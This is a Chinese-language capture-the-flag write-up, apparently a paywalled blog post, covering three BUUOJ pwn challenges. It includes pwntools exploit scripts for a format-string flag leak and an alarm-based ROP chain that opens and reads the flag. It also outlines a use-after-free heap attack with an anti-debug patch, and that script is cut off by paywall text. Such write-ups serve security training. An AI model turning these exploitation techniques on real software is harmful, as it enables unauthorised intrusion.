161 picoctf_2018_echooo

就是格式化字符串 flag被读到了栈上,直接泄露就行。
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',25088)
offset=11
flag=''
for i in range(27,27+11):
payload='%{}$p'.format(str(i))
r.sendlineafter('> ',payload)
s = unhex(r.recvuntil('\n',drop=True).replace('0x',''))
#unhex转成字符串
flag += s[::-1]
#反转
print flag
162 warmup


有个溢出。
有这个溢出之后我们发现,利用比较困难,泄露libc溢出长度不够,也不能写shellcode啥的,那咋整。
我们发现里面有read,有write。
然后感觉有个open可以直接orw,那么open咋来?
我们发现了一个比较奇怪的东西……
有个alarm,搜一下alarm是干嘛的。
成功:如果调用此alarm()前,进程已经设置了闹钟时间,则返回上一个闹钟时间的剩余时间,否则返回0。
因为他先alarm了10s,那么我们如果再alarm5s,那么eax的值就会是5,然后就可以通过syscall来调用open,从而实现orw。
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node3.buuoj.cn',26855)
vuln_addr = 0x0804815A
read_addr = 0x0804811D
write_addr = 0x08048135
data = 0x08049200
syscall = 0x0804813A
alarm_addr = 0x804810d
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data) + p32(0x10)
r.sendafter('Welcome to 0CTF 2016!',payload)
r.sendafter('Good Luck!','/flag'.ljust(0x10,'\x00'))
sleep(5)
#关键就在这了
payload = 'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data) + p32(0)
r.send(payload)
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data) + p32(0x30)
r.sendafter('Good Luck!',payload)
payload = 'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data) + p32(0x30)
r.sendafter('Good Luck!',payload)
r.interactive()
163 ciscn_2019_final_4

保护只有PIE没开,我们来一起读程序。

刚进来就碰到了奇怪的东西,我们知道调试手段是通过ptrace打断点,Ptrace 提供了一种父进程可以控制子进程运行,并可以检查和改变它的核心image。它主要用于实现断点调试。一个被跟踪的进程运行中,直到发生一个信号。则进程被中止,并且通知其父进程。在进程中止的状态下,进程的内存空间可以被读写。父进程还可以使子进程继续执行,并选择是否是否忽略引起中止的信号。
但是程序用了反调试手段,将调试的子进程直接杀死,所以导致我们不能调试,不能调试怎么打pwn。
所以我们的手段是将它patch掉。

直接call过去。
我们参考大佬的做法,把它写成jmp $+0x9e,这句话的意思是跳转到0x9e之后,我们怎么知道它的字节码呢,用到pwntools。

然后在这里一个字节一个字节改

然后就好了。


反汇编也就啥都没有了 非常的神奇。

然后记得把改好的文件保存一下,就可以拿去调试了。

开了沙箱。
普普通通new函数。
uaf有些明显。

普普通通输出函数。
漏洞很简单,是简简单单的uaf,但是问题是开了沙箱,问题是我们怎么利用uaf来orw。
所以我们的想法是能够alloc stack,在栈上写一段rop,来实现orw来getshell。
我们的做法是首先当然是泄露libc地址,这个申请释放一个大小合适的chunk就可以办得到。我们说有检查,会检查分配chunk的size位是否合法,我们可以通过借助申请chunk时填写的size来伪造。
double free控制到note这个地方,因为想泄露栈地址,将某个note处的地址改成__environ,从而泄露栈地址。

接下来就是再次double free,在栈上找到合适的数据,将chunk申请到stack上,从而泄露canary。

接下来就是还是double free,来写rop,因为我们的chunk是有限的,而orw的rop又会比较长,所以我们要分两步来写,第一次写一个read,来读长度足够的rop。
我们把这个rop写在了main函数后面。
最后再次double free,来劫持new函数到main函数后面,从而执行rop链。
#coding:utf8
from pwn import *
context.log_level = "debug"
r = process("./163")
libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk
r.sendafter('what is your name?',payload)
def add(size,content):
r.sendlineafter(

最低0.47元/天 解锁文章
585

被折叠的 条评论
为什么被折叠?



